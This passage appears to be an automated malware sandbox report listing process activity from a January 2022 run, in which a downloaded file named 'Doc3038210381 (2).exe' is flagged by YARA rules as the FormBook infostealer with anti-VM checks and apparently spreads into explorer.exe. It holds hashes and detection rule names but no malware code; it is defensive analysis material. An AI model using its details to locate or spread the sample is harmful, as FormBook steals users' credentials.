Processes

Analysis Process: chrome.exe PID: 6392 Parent PID: 1568Analysis Process: chrome.exe PID: 6392 Parent PID: 1568

General
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File ActivitiesFile Activities

Start time: 22:05:15

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
network.mojom.NetworkService --field-trial-handle=1516,3288991115567119224,70104
09812870976589,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-
service-sandbox --mojo-platform-channel-handle=1928 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 22:05:33

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3256 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:05:33

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3560 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Key Value ModifiedKey Value Modified

Analysis Process: chrome.exe PID: 6608 Parent PID: 6392Analysis Process: chrome.exe PID: 6608 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 5780 Parent PID: 6392Analysis Process: chrome.exe PID: 5780 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 3716 Parent PID: 6392Analysis Process: chrome.exe PID: 3716 Parent PID: 6392

General
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Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:05:33

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3536 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:05:34

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3308 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:05:42

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=5888 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Analysis Process: chrome.exe PID: 6256 Parent PID: 6392Analysis Process: chrome.exe PID: 6256 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 4928 Parent PID: 6392Analysis Process: chrome.exe PID: 4928 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 7120 Parent PID: 6392Analysis Process: chrome.exe PID: 7120 Parent PID: 6392

General
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Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:05:42

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3024 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:05:43

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3236 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:05:43

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3576 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Analysis Process: chrome.exe PID: 7008 Parent PID: 6392Analysis Process: chrome.exe PID: 7008 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 7092 Parent PID: 6392Analysis Process: chrome.exe PID: 7092 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 6772 Parent PID: 6392Analysis Process: chrome.exe PID: 6772 Parent PID: 6392

General
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Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:05:59

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=4216 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:05:59

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=4228 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:06:00

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=4128 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Analysis Process: chrome.exe PID: 6596 Parent PID: 6392Analysis Process: chrome.exe PID: 6596 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 6976 Parent PID: 6392Analysis Process: chrome.exe PID: 6976 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 4672 Parent PID: 6392Analysis Process: chrome.exe PID: 4672 Parent PID: 6392

General
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Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

Start time: 22:06:00

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=4496 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: high

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 22:06:05

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
quarantine.mojom.Quarantine --field-trial-handle=1516,3288991115567119224,701040
9812870976589,131072 --lang=en-GB --service-sandbox-type=none --enable-audio-service-
sandbox --mojo-platform-channel-handle=5752 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Show Windows behavior

Show Windows behavior

Start time: 22:06:05

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=5040 /prefetch:8

Imagebase: 0x7ff609c80000

Analysis Process: chrome.exe PID: 7092 Parent PID: 6392Analysis Process: chrome.exe PID: 7092 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 6024 Parent PID: 6392Analysis Process: chrome.exe PID: 6024 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 1088 Parent PID: 6392Analysis Process: chrome.exe PID: 1088 Parent PID: 6392

General
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File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:06:06

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3668 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:06:07

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=4960 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:06:08

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3596 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Analysis Process: chrome.exe PID: 6264 Parent PID: 6392Analysis Process: chrome.exe PID: 6264 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 2740 Parent PID: 6392Analysis Process: chrome.exe PID: 2740 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 3112 Parent PID: 6392Analysis Process: chrome.exe PID: 3112 Parent PID: 6392

General
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Has administrator privileges: false

Programmed in: C, C++ or other language

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 22:06:11

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
quarantine.mojom.Quarantine --field-trial-handle=1516,3288991115567119224,701040
9812870976589,131072 --lang=en-GB --service-sandbox-type=none --enable-audio-service-
sandbox --mojo-platform-channel-handle=5860 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Show Windows behavior

Show Windows behavior

Start time: 22:06:12

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=5704 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:06:12

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=4684 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Analysis Process: chrome.exe PID: 6236 Parent PID: 6392Analysis Process: chrome.exe PID: 6236 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 6176 Parent PID: 6392Analysis Process: chrome.exe PID: 6176 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 1472 Parent PID: 6392Analysis Process: chrome.exe PID: 1472 Parent PID: 6392

General
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Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:06:14

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3408 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:06:14

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=4236 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:06:24

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=5788 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: chrome.exe PID: 6964 Parent PID: 6392Analysis Process: chrome.exe PID: 6964 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 2864 Parent PID: 6392Analysis Process: chrome.exe PID: 2864 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 6168 Parent PID: 6392Analysis Process: chrome.exe PID: 6168 Parent PID: 6392

General
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Start time: 22:06:24

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3704 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:06:24

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=5704 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:06:25

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=3968 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: chrome.exe PID: 1004 Parent PID: 6392Analysis Process: chrome.exe PID: 1004 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 5776 Parent PID: 6392Analysis Process: chrome.exe PID: 5776 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 5216 Parent PID: 6392Analysis Process: chrome.exe PID: 5216 Parent PID: 6392

General

Analysis Process: Doc3038210381 (2).exe PID: 6592 Parent PID: 6392Analysis Process: Doc3038210381 (2).exe PID: 6592 Parent PID: 6392
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File ActivitiesFile Activities

Start time: 22:06:46

Start date: 13/01/2022

Path: C:\Users\user\Downloads\Doc3038210381 (2).exe

Wow64 process (32bit): true

Commandline: "C:\Users\user\Downloads\Doc3038210381 (2).exe" 

Imagebase: 0x60000

File size: 605184 bytes

MD5 hash: F98B720FA7B335C7E7B81C2F50E35FED

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000029.00000002.903704125.0000000003419000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000029.00000002.903704125.0000000003419000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000029.00000002.903704125.0000000003419000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000029.00000002.903120901.0000000002411000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000029.00000002.903179397.000000000245A000.00000004.00000001.sdmp, Author: 
Joe Security

Show Windows behavior

Start time: 22:07:01

Start date: 13/01/2022

Path: C:\Users\user\Downloads\Doc3038210381 (2).exe

Wow64 process (32bit): false

Commandline: C:\Users\user\Downloads\Doc3038210381 (2).exe

Imagebase: 0x20000

File size: 605184 bytes

MD5 hash: F98B720FA7B335C7E7B81C2F50E35FED

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 22:07:03

Start date: 13/01/2022

Path: C:\Users\user\Downloads\Doc3038210381 (2).exe

Wow64 process (32bit): true

Commandline: C:\Users\user\Downloads\Doc3038210381 (2).exe

Imagebase: 0xac0000

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: Doc3038210381 (2).exe PID: 5688 Parent PID: 6592Analysis Process: Doc3038210381 (2).exe PID: 5688 Parent PID: 6592

General

Analysis Process: Doc3038210381 (2).exe PID: 2212 Parent PID: 6592Analysis Process: Doc3038210381 (2).exe PID: 2212 Parent PID: 6592

General
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File ActivitiesFile Activities

File size: 605184 bytes

MD5 hash: F98B720FA7B335C7E7B81C2F50E35FED

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000002C.00000000.896879131.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000002C.00000000.896879131.0000000000400000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000002C.00000000.896879131.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000002C.00000002.971832509.00000000010E0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000002C.00000002.971832509.00000000010E0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000002C.00000002.971832509.00000000010E0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000002C.00000000.897454955.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000002C.00000000.897454955.0000000000400000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000002C.00000000.897454955.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000002C.00000002.971108516.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000002C.00000002.971108516.0000000000400000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000002C.00000002.971108516.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000002C.00000002.972028114.00000000014F0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000002C.00000002.972028114.00000000014F0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000002C.00000002.972028114.00000000014F0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Show Windows behavior

Start time: 22:07:06

Start date: 13/01/2022

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff6fee60000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File ReadFile Read

Analysis Process: explorer.exe PID: 3424 Parent PID: 2212Analysis Process: explorer.exe PID: 3424 Parent PID: 2212

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000002D.00000000.947225633.000000000691F000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000002D.00000000.947225633.000000000691F000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000002D.00000000.947225633.000000000691F000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000002D.00000000.932775255.000000000691F000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000002D.00000000.932775255.000000000691F000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000002D.00000000.932775255.000000000691F000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Show Windows behavior

Start time: 22:07:07

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=5664 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 22:07:08

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=4496 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: chrome.exe PID: 5868 Parent PID: 6392Analysis Process: chrome.exe PID: 5868 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 5044 Parent PID: 6392Analysis Process: chrome.exe PID: 5044 Parent PID: 6392

General

Analysis Process: chrome.exe PID: 4812 Parent PID: 6392Analysis Process: chrome.exe PID: 4812 Parent PID: 6392

General
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Start time: 22:07:08

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=
chrome.mojom.UtilReadIcon --field-trial-handle=1516,3288991115567119224,70104098
12870976589,131072 --lang=en-GB --service-sandbox-type=icon_reader --enable-audio-
service-sandbox --mojo-platform-channel-handle=5488 /prefetch:8

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

